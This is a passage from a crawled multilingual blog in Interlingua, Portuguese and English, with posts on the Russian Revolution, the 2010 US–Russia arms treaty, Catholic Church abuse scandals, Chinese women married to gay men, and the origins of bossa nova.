revolutionaries.\nLenin and the Rise of the Bolsheviks:\nLenin, exiled in Switzerland, returned to Russia and launched a campaign for \"peace, land, and bread.\" He had an extraordinary capacity to attract growing numbers of the masses of Russia to the Bolshevik program.\nIn July the Russian government, fearing a conspiracy, moved aggressively against the Bolsheviks, imprisoning Leon Trotsky, who had returned from his exile in the United States.\nLenin then found it necessary to conduct his operations underground. On August 9 (the ninth of August) the Menshevik Kerenski was nominated the head of the government. The Mensheviks were socialists who prefered moderate and gradual reforms to the drastic and radical program of the Bolsheviks.\nRed October:\nAfter heated arguments, Lenin convinced the Central Committee of his party of the need for armed rebellion. Leon Trotsky developed the strategy for the fight and directed it. He focused on occupying Petrograd and the Winter Palace, the seat of the provisional government.\nThe Mensheviks had formed the Committee for the Defense of the Revolution which had to concern itself with the security of a new socialist government against reactionary coup attempts after the regular military forces at Petrograd had been sent to the war front, and the Bolsheviks soon were able to seize this committee and use it to further their cause.\nOn October 24 (October the twenty-fourth) the Karenski government found out about the maneuvering of the Bolsheviks and declared a state of siege, but the forces of the Mensheviks were not large enough to frustrate the intentions of the Bolsheviks, who seized all political power with a minimum loss of life.\nWith the occupation of the principal buildings of the city, the Winter Palace fell the next day (November 7 [November seventh] in the Western calendar).\nThe Bolsheviks immediately assembled the Second Congress of the Soviets and formed a Council of the People's Commissars, presided over by Lenin, who declared an armistice and the abolition of land as private property in all Russian territories.\nFrom the Constituent Assembly to Civil War:\nA month later, the Bolsheviks organized the Constituent Assembly, which included representatives from all the Russias. The Bolsheviks got only 24% (twenty-four percent) of the votes, but together with the votes of their allies, Lenin and his compatriots assembled an absolute majority. The result of these maneuvers was a civil war against the Cossacks and a volunteer army, which was formed with the generous help of England and France.\nPosted by hkyson at 4:31 PM","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/01\/historia-del-seculo-vinti-parte-4.html","date":"2018-02-23T08:19:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814538.66\/warc\/CC-MAIN-20180223075134-20180223095134-00211.warc.gz","language":"ina","language_score":0.7014071345,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.7014071345329285, \"eng_Latn_score\": 0.23061750829219818}","num_words":5244,"character_repetition_ratio":0.041,"word_repetition_ratio":0.002,"special_characters_ratio":0.181,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.732,"perplexity_score":1824.7,"cluster_detection":-1} +{"text":"Tuesday, March 30, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nLe Statos Unite e Russia arrivava a un accordo pro le reduction de lor arsenales nuclear pro reimplaciar le Tractato de Reduction de Armas Strategic (START in su acronymo anglese), signate in 1995 e que expirava in decembre.\nLe nove tracato, negotiate in su forma final post un conversation telephonic inter le presidente del Statos Unite, Barack Obama, e le presidente de Russia, Dmitry Medvedev, es programmate pro esser signate le 8 de april in Prag, in le Republica Czech.\nCon le accordo, le duo paises debera cortar lor arsenales nuclear per circa 30% in le proxime dece annos, con un limite maxime de 1.550 capites explosive permittite a cata pais.\nLe duo paises anque se compromitteva a reducer le numero de lor missiles ballistic capcace de portar capites explosive nuclear.\nDurante le periodo del Guerra Frigide, le Statos Unite arrivava a haber plus que 15.000 capites explosive nuclear strategic, e Russia plus que 10.000.\nLe arsenal American es estimate hodie a plus que 2.000 mille capites explosive strategic, e illo de Russia es estimate a plus que 2.500.\nLe Statos Unite e Russia jam habeva arrivate a un accordo pro disminuir le numero de missiles in Julio del anno passate, ma le accordo habeva remanite in suspension usque nunc a causa de disaccordos sur le verification del reductiones.\nLe accordo de iste venerdi, que resolveva questiones sur le verificationes, totevia debera esser approbate per le Senato American e per le Duma, le camera basse del parlamento russe.\nAl annunciar le accordo iste venerdi, Obama affirmava que \"le armas nuclear representa tanto le dies le plus nigre del Guerra Frigide como le plus perturbador menacias de nostre tempore. Hodie nos face un nove passo in avante pro lassar in le passato le legato del seculo vinti e construer un futuro plus secur pro nostre filios\".\nPro le Secretaria de Stato del Statos Unite, Hillary Clinton, le accordo inviara un message a paises como Iran e Korea del Nord que le governamento american se trova compromittite con contener le proliferation nuclear.\nIn Russia, un communicato del Kremlin affirmava que le accordo reflecte \"le balancio de interesses de ambe paises\".\n---\nOs Estados Unidos e Rússia concordam em reduzir suas armas nucleares.\nOs Estados Unidos e a Rússia chegaram a um acordo para a redução de seus arsenais nucleares para substituir o Tratado de Redução de Armas Estratégicas (START, na sigla em inglês), assinado em 1991 e que expirou em dezembro.\nO novo tratado, negociado em sua forma final após uma conversa telefônica entre o presidente dos Estados Unidos, Barack Obama, e o presidente da Rússia, Dmitry Medvedev, está programado para ser assinado em 8 de abril em Praga, na República Tcheca.\nCom o acordo, os dois países deverão cortar seus arsenais nucleares em cerca de 30% nos próximos dez anos, com um limite máximo de 1.550 ogivas permitidas para cada país.\nOs dois países também se comprometeram a reduzir o número de mísseis balísticos capazes de levar as ogivas nucleares.\nDurante o período da Guerra Fria, os Estados Unidos chegaram a ter mais de 15.000 mil ogivas nucleares estratégicas, e a Rússia, mais de 10.000.\nO arsenal americano é estimado hoje em mais de 2.000 ogivas nucleares estratégicas, e o da Rússia é estimado em mais de 2,5 mil.\nEstados Unidos e Rússia já haviam concordado em diminuir o número de mísseis em julho do ano passado, mas o acordo havia ficado em suspenso até agora por desacordos sobre a verificação das reduções.\nO acordo desta sexta-feira, que resolveu as questões sobre as verificações, terá ainda que ser aprovado pelo Senado americano e pela Duma, a câmara baixa do parlamento russo.\nAo anunciar o acordo, nesta sexta-feira, Obama afirmou que \"as armas nucleares representam tanto os dias mais negros da Guerra Fria quanto as mais perturbadoras ameaças de nosso tempo. Hoje fazemos um novo passo adiante para deixar para trás o legado do século vinte e construir um futuro mais seguro para nossos filhos.\"\nPara a Secretária de Estado dos Estados Unidos, Hillary Clinton, o acordo mandará uma mensagem a países como o Irã e a Coreia do Norte de que o governo americano está comprometido em conter a proliferação nuclear.\nNa Rússia, um comunicado do Kremlin afirmou que o acordo reflete \"o balanço de interesses de ambos os países\".\n---\nThe United States and Russia agree to reduce their nuclear weapons.\nThe United States and Russia reached an agreement to reduce their nuclear arsenals to replace the Strategic Treaty Arms Reduction Treaty (START), signed in 1991 and expired in December.\nThe new treaty, negotiated in its final form after a telephone conversation between President of the United States, Barack Obama, and the Russian President, Dmitry Medvedev, is scheduled to be signed on April 8 in Prague, Czech Republic.\nWith the agreement, the two countries should cut their nuclear arsenals by about 30% over the next ten years, with a ceiling of 1,550 warheads allowed for each country.\nThe two countries also pledged to reduce the number of ballistic missiles capable of carrying nuclear warheads.\nDuring the Cold War, the United States came to have more than 15,000 strategic nuclear warheads, and Russia, more than 10,000.\nThe U.S. arsenal is estimated today at more than 2,000 strategic nuclear warheads, and Russia's is estimated at more than 2,500.\nThe United States and Russia had agreed to reduce the number of missiles in July last year, but the agreement had been suspended so far by disagreements on the verification of reductions.\nThe agreement on Friday, which resolved the questions about the checks, must still be approved by the Senate and the Duma, the lower house of the Russian parliament.\nIn announcing the agreement on Friday, Obama said that \"nuclear weapons represent both the darkest days of the Cold War as the most disturbing threats of our time. Today, we are taking a new step forward to leave behind the legacy of the 20th century and build a safer future for our children.\"\nFor Secretary of State of the United States, Hillary Clinton, the agreement will send a message to countries like Iran and North Korea that the U.S. government is engaged in containing nuclear proliferation.\nIn Russia, a Kremlin statement said the agreement reflects \"the balance of interests of both countries.\"\nPosted by hkyson at 10:09 PM\n(Languages of this post: Interilingua, Portuguese, English)\nLe cardinal Italian Carlo Maria Martini, considerate como un del figuras le plus charismatic del Ecclesia Catholic, diceva in un interview con un jornal german que le Ecclesia Catholic deberea revider le requirimento del celibato pro sus prestres.\nAl commentar sur le casos de abusos sexual comittite per patres contra minores de etate, le cardinal Carlo Martini, de 83 annos, diceva que le celibato es un problema e suggere un profunde discussion interne in le Ecclesia Catholic pro reconquirer su credibilitate.\nCarlo Maria Martini es un del leaders del ala progressive del Ecclesia Catholic e esseva un cadidato pro papa in le conclave que eligeva Benedicto XVI. Le clerico, qui suffre del maladia de Parkinson, defende le ordination de homines maritate, major participation del mulieres in le Ecclesia Catholic, e le communion pro divorciatos.\nIn le interview con le jornal german, Martini affirmava que le Ecclesia Catholic debe abrir un debatto interne, specialmente in relation a questiones sexual.\nMartini argueva que \"questiones central del sexualitate\" debe esser modificate in harmonia \"con le generationes de hodie, con le scientias human, e con le inseniamentos del Biblia proque solmente un discussion aperte pote restaurar le autoritate del Ecclesia, conducer al correctiones de errores, e meliorar le servicios que illo offere al homines.\n---\nEx-candidato a papa defende discussão do celibato.\nO cardeal italiano Carlo Maria Martini, tido como uma das figuras mais carismáticas da Igreja Católica, disse em entrevista a um jornal alemão que a Igreja Católica deveria rever a obrigatoriedade do celibato para seus sacerdotes.\nAo comentar os casos de abusos sexuais cometidos por padres contra menores, o cardeal Carlo Martini, de 83 anos, disse que o celibato é um problema e sugere uma profunda discussão interna na Igreja Católica para reconquistar os fiéis e recuperar sua credibilidade.\nCarlo Maria Martini é um dos líderes da ala progressista da Igreja Católica e era candidato a papa no conclave que elegeu Bento 16. O clérigo, que sofre há anos de Mal de Parkinson, defende a ordenação de homens casados, maior participação das mulheres na Igreja Católica e a comunhão para divorciados.\nNa entrevista ao jornal alemão, Martini afirmou que a Igreja Católica deve abrir um debate interno sobretudo em relação às questões sexuais.\nMartini defendeu que \"questões centrais da sexualidade\" fossem modificadas em harmonia \"com as gerações de hoje, com as ciências humanas e com os ensinamentos da Bíblia porque somente uma discussão aberta pode dar novamente autoridade à Igreja, levar a correções dos erros e melhorar os serviços que ela oferece aos homens.\n---\nEx-candidate for pope defends discussion of celibacy.\nItalian Cardinal Carlo Maria Martini, considered one of the most charismatic figures of the Catholic Church, said in an interview with a German newspaper that the Catholic Church should review the requirement of celibacy for its priests.\nCommenting on the cases of sexual abuse by priests against minors, Cardinal Carlo Martini, 83, said that celibacy is a problem and suggests a profound internal discussion in the Catholic Church to win back the faithful and regain its credibility.\nCarlo Maria Martini is one of the leaders of the progressive wing of the Catholic Church and was a candidate for pope in the conclave that elected Benedict XVI. The cleric, who has suffered from Parkinson's disease for years, supports the ordination of married men, more women in the Catholic Church and communion for the divorced.\nIn an interview with the German newspaper, Martini said that the Catholic Church should open an internal debate especially in relation to sexual matters.\nMartini argued that \"the core issues of sexuality\" should be changed in harmony with today's generations, with the humanities, and with the teachings of the Bible because only an open discussion can restore the authority of the Church, lead to corrections of mistakes, and improve services it offers mankind.\nPosted by hkyson at 9:39 PM\nMonday, March 29, 2010\n(Languges of this post: Interlingua, English)\nMarcial Maciel, le funditor del movimento catholic Legionarios de Christo in Mexico, moriva le 30 de januario, 2008.\nDuo annos post su morte, scandalos sur su vita continua a revelar se. Recentemente duo monachos in le capital de Mexico revelava que Maciel non solmente esseva lor patre ma que ille les habeva abusate sexualmente.\nBen que le Legionarios de Christo lucta pro su recognition official in Roma a causa del vita scandalose de Maciel, le organsation totevia es multo forte in Mexico, ubi illo ha establite multe ligamines con le classe regente del pais, que ha donate un total de $20 billiones al organisation, que ha establite un catena de scholas elite in le pais que continua a esser popular inter familias ric Mexican.\nDurante que le autoritate moral del Ecclesia Catholic continua su erosion a causa de multissime scandalos de prestres pedophilic in America e Europa, Maciel ha devenite un symbolo de tal problemas que ha occurrite in le Ecclesia trans le seculos.\nDurante un periodo de annos, multe allegationes emergeva contra Maciel accusante le de haber contactos sexual con un grande numero de pueros, monachos, e alicun feminas que ille habeva cognoscite durante su carriera, ma ille esseva un favorito del papa Johano Paulo II, qui le protegeva de esser punite pro iste activitates a causa de su appoio hypocritic pro un catholocismo religiose e socialmente conservative.\nMaciel anque esseva multo popular al Vaticano proque ille colligeva multe moneta pro le Ecclesia e poteva recrutar multe nove prestres pro le Ecclesia durante un epocha quando multes in Europa lo abandonava.\nMaciel diceva al ricos de Mexico que Deo les amava plus que le povres, un message que placeva multissimo a illes e les inspirava a donar multissime moneta a su movimento.\nMaciel usava iste moneta pro construer un rete de scholas primari pro pueros e pueras, tanto como scholas secondari e universitates, le quales predicava le moralitate religiose e social ultraconservative del Ecclesia.\nSu prime schola in le capital de Mexico, Cumbres, etiam recipeva moneta de Carlos Slim, recentemente recognoscite per le magazin \"Forbes\" como le homine le plus ric del mundo.\nMaciel sempre se mitteva al latere del papa Johano Paulo II, publicava photos in le qaules ille recipeva le benediction de Johano Paulo e esseva prominente in le duo viages de Johano Paulo a Mexico in le annos 90, inspirante milliones de personas a vider le.\nLe anno passate, Benedicto XVI mandava un serie de investigationes, cognoscite como visitations apostolic, a omne le sitos del Legion de Christo, e multe expertos nunc predice que il es probabile que omne le alte functionarios del Legion va a esser reimplaciate.\nMultes tamen dubita que isto essera sufficiente pro salvar le reputation del Legion de Christo o del Ecclesia Catholic mesme a causa de su scandalos sexual, le inevitabile resultato del moralitate christian mesme, que non recognosce de un maniera constructive le imperativos biologic del sexualitate human.\n---\nMarcial Maciel and the Legion of Christ in Mexico\nMarcial Maciel, the founder of the Catholic movement Legion of Christ in Mexico, died on January 30, 2008\nTwo years after his death, scandals about his life continue to come out. Recently two monks in the capital of Mexico revealed that Maciel was not only their father but that he had abused them sexually.\nThough the Legion of Christ is fighting for its official recognition in Rome because of the scandalous life of Maciel, the organization is still quite strong in Mexico, where it has established many connections with the ruling class of the country, which has donated $20 billion to the organization, which has established a chain of elite schools in the country that continue to be popular among rich Mexican families.\nAs the moral authority of the Catholic Church continues its erosion because of the very large number of scandals involving pedophilic priests in America and Europe, Maciel has become a symbol of such problems that have occurred in the Church through the centuries.\nFor a period of years, many allegations emerged regarding Maciel accusing him of having sex with a large number of boys, monks, and some women that he got to know during his career, but he was a favorite of Pope John Paul II, who protected him from punishment for these activities because of his hypocritical support for a Catholocism that was religiously and socially conservative.\nMaciel was also very popular at the Vatican because he collected a lot of money for the Church and was able to recruit many new priests for the Church in a period when many in Europe were abandoning it.\nMaciel said to the rich of Mexico that God loved them more than the poor, a message that they liked a lot and inspired them to give a great deal of money to his movement.\nMaciel used this money to build a network of primary schools for boys and girls, as well as secondary schools and universities, which preached the ultraconservative religious and social morality of the Church.\nHis first school in the capital of Mexico, Cumbres, also received money from Carlos Slim, recently recognized by the magazine \"Forbes\" as the richest man in the world.\nMaciel always was at the side of Pope John Paul II, published photos in which he received John Paul's blessing, and was prominent in John Paul's two trips to Mexico in the 1990s, inspiring millions of people to see him.\nLast year, Benedict XVI ordered a series of investigations, known apostolic visitations, to all the Legion of Christ sites, and many experts now predict that it is probable that all the higher officials of the Legion are going to be replaced.\nMany doubt, however, that this will be enough to save the reputation of the Legion of Christ or of the Catholic Church itself because of its sexual scandals, the inevitable result of Christian morality itself, which does not recognize in a constructive way the biological imperatives of human sexuality.\nPosted by hkyson at 4:44 PM\n(Languages of this post: Interlingua, English)\nIn le cultura Chinese, il es importantissime que un familia produce heredes masculin pro mantener le memoria de su ancestres. Isto ha producite un excesso de homines post que le governamento chinese, pro controlar su population, inaugurava le politica de un infante per familia. Le preferentia pro filios inter tal familias mesmo ha incoragiate le infanticidio de pueras chinese.\nMa le preferentia pro heredes masculin ha producite un altere problema social in China: Milliones de feminas es maritate a homines homosexual. Gratias a Internet, le population general de China comencia a audir lor planctos.\nOn estima que inter 15 e 20% de homines gay in le Statos Unite se merita con feminas heterosexual. Secundo Li Dalin, un sexologa emerite del Universitate de Shanghai, le figura in China es 90%.\nHe Xiaopei ha inaugurate un gruppo de appoio pro mulieres trappate in tal matrimonios con le nomine Spatio Rosate. Illa dice que multe mulieres maritate con homines gay suffre de depression sever proque lor maritos non pote satisfacer las sexualmente. Typicamente, le mulieres trappate in tal maritages habeva multo pauc experientia sexual ante maritar se e nulle cognoscimentos del homosexualitate. Al discoperir le orientation sexual de lor maritos e acceptar que illes non pote cambiar, illas sovente se senti irate e traite.\nSpatio Rosate non offere consilios al mulieres qui se communica con le gruppo, solmente appoio moral. Le seniora He dice que le mulieres qui contacta Spatio Rosate sovente senti relevamento immense al discoperir que il ha multe altere mulieres in situations simile. Parve numeros de illas eventualmente ha le corage pro divorciar se, ma le major parte de illas continua a tolerar lor maritages infelice.\nLe seniora Li dice que on non pote blasmar le maritos in tal matrimonios proque il ha tremende pressiones cultural sur homines gay a celar lor orientation sexual, e illa ha activemente incoragiate le acceptation del maritage gay in le cultura chinese. Ma le response a su effortios es que le maritage gay non es moral o natural.\nRecentemente, illa ha facite alicun progresso. Alicunes de su opponentes concedeva le utilitate social del maritage gay, ma illes insiste que China non es preste pro iste modification del maritage traditional, e le seniora Li nunc crede que China essera inter le ultime paises a acceptar le maritage gay.\n---\nIn China, huge numbers of women trapped in marriages with gay men suffer tremendously.\nIn Chinese culture, it is very important that a family produce male heirs to maintain the memory of its ancestors. This has produced an excess of men after the Chinese government, to control its population, inaugurated the policy of one child per family. The preference for sons in such families even has encouraged the infanticide of Chinese girls.\nBut the preference for male heirs has produced another social problem in China: Millions of women are married to homosexual men. Thanks to the Internet, the general population of China is starting to hear their complaints.\nIt is estimated that between 15 and 20% of gay men in the United Sates marry heterosexual women. According to Li Dalin, a retired sexologist of the University of Shanghai, the figure is 90%.\nHe Xiaopei has inaugurated a support group for women trapped in such marriages with the name Pink Space. She says that many women married to gay men suffer from severe depression because their husbands cannot satisfy them sexually. Typically, women trapped in such marriages had very little sexual experience before getting married and no knowledge of homosexuality. On discovering the sexual orientation of their husbands and accepting that they cannot change, they often feel angry and betrayed.\nPink Space does not offer advice to women who get in touch with the group, only moral support. Mrs. He says that women who contact Pink Space often feel immense relief on discovering that there are many other women in similar situations. Small numbers of them eventually have the courage to get a divorce, but most of them continue to put up with their unhappy marriages.\nMrs. Li says that the husbands in such marriages cannot be blamed because there are tremendous cultural pressures on gay men to hide their sexual orientation, and she has actively encouraged the acceptance of gay marriage in Chinese culture. But the response to her efforts is that gay marriage is not moral or natural.\nRecently she has made some progress. Some of her opponents conceded the social usefulness of gay marriage, but they insist that China is not ready for this change in traditional marriage, and Mrs. Li now believes that China will be among the last countries to accept gay marriage.\nPosted by hkyson at 1:23 AM\nSunday, March 28, 2010\n(Languages of this post: Interlingua, English)\nBossa nova evolveva del samba, ma illo es plus complexe harmonicamente e minus percussive. Illo emergeva principalmente del plus prospere vicinitates presso le plagias de Rio de Janeiro, durante que le samba emergeva del bidonvilles (favelas) de Rio.\nIl pare probabile que un parte del musica de George Gershwin, specialmente su \"Cubanm Overture,\" habeva un certe influentia sur Bossa Nova, tanto como altere stilos de jazz, como \"cool jazz\".\nBossa nova esseva disveloppate in le Brasil in 1956 per João Jilberto. Le prime canto de bossa nova habeva le titulo \"Bim-Bom\". Iste nove genere de musica popular brasilian deveniva melio cognoscite al publico brasilian e international con altere projectos per Gilberto e Antônio Carlos Jobim.\nLe film \"Orfeo Negro\" in 1959 deveniva popular in le Statos Unite, e io mesme lo videva sex vices post que illo veniva a Los Angeles. Su popularitate immense inspirava projectos per Charlie Byrd e Stan Getz, e le popularitate de bossa nova in multe partes del mundo deveniva solidificate con collaborationes per Getz e Gilberto e altere projectos per artistas de jazz famose como Ella Fitzgerald (Ella Abraça Jobim) e Frank Sinatra (Francis Albert Sinatra e Antonio Carlos Jobim).\nForsan \"Le puera de Ipanema\", cantate e in anglese e portugese per Astrud Gilberto es le plus famose de omne iste cantos. Illo ha un qualitate de coolness que pote trovar se in multe pauc altere compositiones de cool jazz, como \"Take Five\" per Dave Brubeck.\nUn altere influentia importante sur bossa nova esseva le canto \"Dans mon île\" per le cantante francese Henri Salvador, que esseva un parte importante de un film italian \"Europa de notte,\" que esseva multo popular in le Brasil.\nIn 2005, Henri Salvador recipeva le Ordine de Merito Cultural Brasilian del ministro de cultura brasilian Gilberto Gil, in le presentia del presidente Lula, a causa de su influentia sur le cultura brasilian.\nUn altere influentia sur bossa nova esseva le canto \"Julie Is Her Name\", que Julie London cantava durante que Barney Kessel la accompaniava con le guitarra. Iste canto es specialmente ben cognosite pro le coolness relaxate de su vocalista reinfortiate per le appoio del instrumentos musical que produceva multe effectos interessante que inspirava le stilo usate per altere musicos qui sonava musica brasilian post que iste disco deveniva popular in ille pais.\nDurante que bossa nova es principalmente un creation brasilian, illo non haberea evolvite sin multe influentia del stilos musical de altere paises, specialmente in Anglo-america. Isto es un indication de como le internationalisation del musica popular inter omne le paises de Europa e America ha producite su proprie stilos de musica que deveni un parte fundamental del cultura emergente international intra le paises de Europa e su ancian colonias.\n---\nBossa Nova evolved from the samba but is more complex harmonically and less percussive. It emerged principally from the more prosperous neighborhoods near the beaches of of Rio de Janeiro, while the samba emerged in the slums (favelas) of Rio.\nIt seems probable that part of George Gershwin's music, especially his \"Cuban Overture\" had a certain influence on Bossa Nova, along with other jazz styles, such as \"cool jazz.\"\nBossa nova was developed in Brazil in 1956 by João Gilberto. The first bossa nova song had the title \"Bim-Bom.\" This new genre of Brazilian popular music became better known to the Brazilian and international public with other projects by Gilberto and Antonio Carlos Jobim.\nThe film \"Orfeo Negro\" in 1959 became popular in the United States, and I myself saw it for six times after it came to Los Angeles. Its immense popularity inspired projects by Charlie Byrd and Stan Getz, and the popularity of bossa nova in many parts of the world became solidified with collaborations by Getz and Gilberto and other projects by famous jazz artists such as Ella Fitzgerald (Ella Abraça Jobim) and Frank Sinatra (Francis Albert Sinatra and Antonio Carlos Jobim).\nPerhaps \"The Girl from Ipanema,\" sung in both English and Portuguese by Astrud Gilberto, is the most famous of all of these songs. It has a quality of coolness that can be found in very few other cool jazz compositions, such as \"Take Five\" by Dave Brubeck.\nAnother important influence on bossa nova was the song \"Dans mon île\" by French singer Henri Salvador, which was an important part of a 1957 Italian movie, \"Europa di notte\", which was very popular in Brazil. In 2005, Henri Salvador received the Brazilian Order of Cultural Merit, from the Brazilian of Culture, Gilberto Gil, in the presence of President Lula, because of his influence on Brazilian culture.\nAnother influence on bossa nova was the song \"Julie Is Her Name,\" which Julie London sang while Barney Kessel accompanied her on the guitar. This song is especially well known for the relaxed coolness its vocalist reinforced by the support of the musical instruments that produced many interesting effects that inspired the style used by other musicians who played Brazilian music after that record became popular in that country.\nWhile bossa nova is primarily a Brazilian creation, it would not have evolved without a lot of influence from the musical styles of other countries, especially in Anglo-America. This is an indication of how the internationalization of popular music among all the countries of Europe and America has produced its own styles of music that are becoming a fundamental part of an emerging international culture within the countries of Europe and their former colonies.\nPosted by hkyson at 10:11 PM\nLe reputation moral del Ecclesia Catholic continua a cader a causa de su scandalos sexual international.\n(Languages of this post: Interlingua, Portuguese, English)\nHistoricamente, il ha habite multe factores--con le Inquisition forsan como le pejor inter illos--que ha contribute al declino del autoritate moral del Ecclesia Catholic e, indirectemente, del christianitate mesme. Comenciante in le final del sexulo XX, le scandalos sexual del Ecclesia degradava etiam plus su autoritate moral. Infra appare un lista del plus recente de ille scandalos in le Statos Unite e in diverse paises europee:\nESTATOS UNITE:\nLe jovedi, le jornal \"The New York Times\" revelava que, in 1996, le cardinal Joseph Ratzinger, qui deveniva le papa Benedicto XVI in 2005, non respondeva a litteras que veniva de prestres american qui accusava un patre del stato de Wisconsin de abusar minores sexualmente. Le patre Lawrence Murphy, qui moriva in 1998, es suspectate de haber abusate usque 200 pueros in un schola pro surdos inter 1950 e 1974. Un del supponite victimas diceva que le papa apprendeva del accusationes ante annos, ma ille non faceva ullo pro resolver le situation.\nIn le ultime decadas, le Ecclesia Catholic del Statos Unite--principalmente le Archidiocese de Boston--esseva involvite in un serie de scandalos de abuso sexual infantil.\nUn del casos que causava le major schock pro le populo de Boston revelava que ante alicun annos quando il emergeva que duo patres de Boston, Paul Shanley e John Egoghan, esseva involvite in casos de abuso in le annos 90 e esseva apparentemente protegite per leaders del Ecclesia, qui les transfereva de parochia a parochia.\nIn 2002, le papa Johano Paulo II convocava un reunion de emergentia con cardinales american, ma nove scandalos emergeva.\nA causa de iste scandalos, le archiepiscopo Bernard Law finalmente debeva dimitter se al fin de ille anno, e in 2003 le Archidiocese de Boston arrivava a un accordo pro pagar US$85 milliones post haber essite confrontate con 500 casos de abuso.\nUn reporto commissionate per le Ecclesia in 2004 concludeva que plus que 4.000 patres american confrontava accusationes de abuso sexual in le ultime 50 annos, in casos involvente plus que 10 mille pueros.\nIn 2008, in un visita al Statos Unite, Benedicto XVI habeva un reunion con victimas de abusos e parlava del \"dolor del damnos\" provocate per ille casos de abuso.\nGERMANIA:\nDesde le initio de 2010, al minus 300 personas accusava patres catholic de Germania de abuso sexual o physic. Le allegationes sta a esser investigate in 18 del 27 dioceses del Ecclesia Catholic in le pais natal de Benedicto XVI.\nInter le accusationes, il ha le abuso de plus que 170 pueros per patres in scholas jesuita, tanto como casos intra un choro de pueros dirigite durante 30 annos per monsenior Georg Ratzinger, le fratre del papa.\nIn martio, le patre Peter Hullerman, qui esseva condemnate per molestar pueros quando ille serviva in el Archidiocese de München e Freising, esseva suspendite de su functiones post violar un prohibition de travaliar con minores, e le diocese de Regensburg confirmava nove accusationes contra quatro patres e duo monachas in casos que apparentemente occurreva in le annos 70.\nLe governamento german immediatemente annunciava que illo va a formar un commission de specialistas pro investigar omne le accusationes.\nIRLANDA:\nIn le anno passate, duo documentos que examinava accustiones de pedophilia inter clericos irlandese revelava le profunditate del problema in le pais, con casos de abuso e fallimentos hierarchic que involveva milles de victimas durante diverse decadas.\nUn del documentos monstrava que quatro archiepiscopos de Dublin non faceva ullo sur le abusos que occurreva inter 1975 e 2004.\nQuatro episcopos se demitteva, e le hierarchia del Ecclesia irlandese esseva convocate al Vaticano pro testificar personalmente ante le papa Benedicto XVI.\nUn nove scandalo tunc esseva revelate durante iste mense de martio con information que le chef del Ecclesia Catholic irlandese, cardinal Sean Brady, esseva presente in reuniones realisate in 1975, quando pueros faceva un voto de silencio sur reclamationes contra un patre pedophilic, Brendan Smyth.\nDies postea, durante le 20 de martio, le papa Benedicto XVI faceva su excusas a victimas de abuso sexual per clericos de Irlanda, ma ille non mentionava planctos in altere paises.\nHOLLANDA:\nMesmo nunc, in iste mense de martio, le episcopos de Hollanda demandava un investigation independente a causa de plus que 200 accusationes de abuso sexual per prestres, e tres casos occurreva inter 1950 e 1970.\nInitialmente, le accusationes involveva le schola del monasterio de Don Rua, in le est de Hollanda. Le scandalo causava le apertura de decenas de nove allegationes de victimas supponite in altere institutiones del pais.\nITALIA:\nIn januario de 2009, diverse homines surde declarava publicamente que illes esseva abusate quando illes esseva pueros in le Institution pro Surdos Antonio Provolo, in le citate de Verona, inter 1950 e 1980.\nAl fin del anno passate, le agentia de novas Associated Press obteneva un declaration scribite de 67 ex-studentes del schola que accusava 24 patres e altere religiosos de abuso sexual e castigos physic.\nLe diocese de Verona diceva que illo habeva intentiones de interviewar le victimas post un requesta del Vaticano.\nAUSTRIA:\nAccusationes independente de abuso sexual infantil per patres emergeva in diverse regiones del pais. Post un del scandalos, cinque patres de un monasterio in Kremsmuesnter esseva suspendite.\nIn Salzburg, le chef de un monasterio local se demitteva post confessar que ille habeva abusate un puero ante 40 annos, quando ille esseva Monaco.\nSWISSA:\nUn commission formate per le Conferentia de Episcopos de Suissa in 2002 sta a investigar accusationes de abuso involvente religiosos del pais.\nIste mense, un membro del commission, le abate Martin Werlen, diceva in un interview que circa 60 personas esseva accusate in casos que occurreva in le ultime 15 annos.\nUn patre del canton de Thurgau esseva detenite le die 19 sub suspiciones de abuso sexual de minores.\n---\nA reputação moral da Igreja Católica continua a cair por causa de seus escândalos sexuais internacionais.\nHistoricamente, tem havido muitos fatores--como a Inquisição, talvez como o pior entre eles--que têm contribuído para o declínio da autoridade moral da Igreja Católica e, indiretamente, do próprio cristianismo. Começando no final do século XX, os escândalos sexuais da Igreja degradaram a sua autoridade moral ainda mais. Abaixo está uma lista dos mais recentes desses escândalos nos Estados Unidos e em vários países europeus:\nESTADOS UNIDOS:\nNa quinta-feira, o jornal \"The New York Times\" revelou que, em 1996, o cardeal Joseph Ratzinger, que veio a se tornar o papa Bento 16 em 2005, não respondeu a cartas vindas de clérigos americanos que acusaram um padre do Estado do Winsconsin de abusar sexualmente de menores. O padre Lawrence Murphy, que morreu em 1998, é suspeito de ter abusado de até 200 meninos em uma escola para surdos entre 1950 e 1974. Uma das supostas vítimas disse que o papa sabia das acusações há anos, mas ele não fez nada para resolver a situação.\nNas duas últimas décadas, a Igreja Católica dos Estados Unidos--principalmente a Arquidiocese de Boston--esteve envolvida em uma série de escândalos de abuso sexual infantil.\nUm dos casos que causou o maior choque para o povo de Boston revelou que há alguns anos, quando foi revelado que dois padres de Boston, Paul Shanley e John Geoghan, estavam envolvidos em casos de abuso nos anos 90 e foram aparentemente acobertados por líderes da Igreja, que os transferiam de paróquia em paróquia.\nEm 2002, o papa João Paulo 2º convocou uma reunião de emergência com cardeais americanos, mas novos escândalos surgiram.\nPor causa destes escândalos, o arcebispo Bernard Law finalmente, teve de renunciar ao final desse ano, e em 2003, a Arquidiocese de Boston chegou a um acordo para pagar US$85 milhões depois de ter sido confrontado com 500 casos de abuso.\nUm relatório encomendado pela Igreja em 2004 concluiu que mais de 4.000 padres americanos enfrentaram acusações de abuso sexual nos últimos 50 anos, em casos envolvendo mais de 10 mil crianças, principalmente meninos.\nEm 2008, em uma visita aos Estados Unidos, Bento 16 se encontrou com vítimas dos abusos e falou \"da dor e dos danos\" provocados por esses casos de abuso.\nALEMANHA:\nDesde o início de 2010, pelo menos 300 pessoas acusaram padres católicos da Alemanha de abuso sexual ou físico. As alegações estão sendo investigadas em 18 das 27 dioceses da Igreja Católica no país natal do papa Bento 16.\nEntre as acusações, está o abuso de mais de 170 crianças por padres em escolas jesuítas, além de casos dentro de um coral de meninos dirigido durante 30 anos pelo monsenhor Georg Ratzinger, irmão do papa.\nEm março, o padre Peter Hullermann, que foi condenado por molestar crianças quando servia na 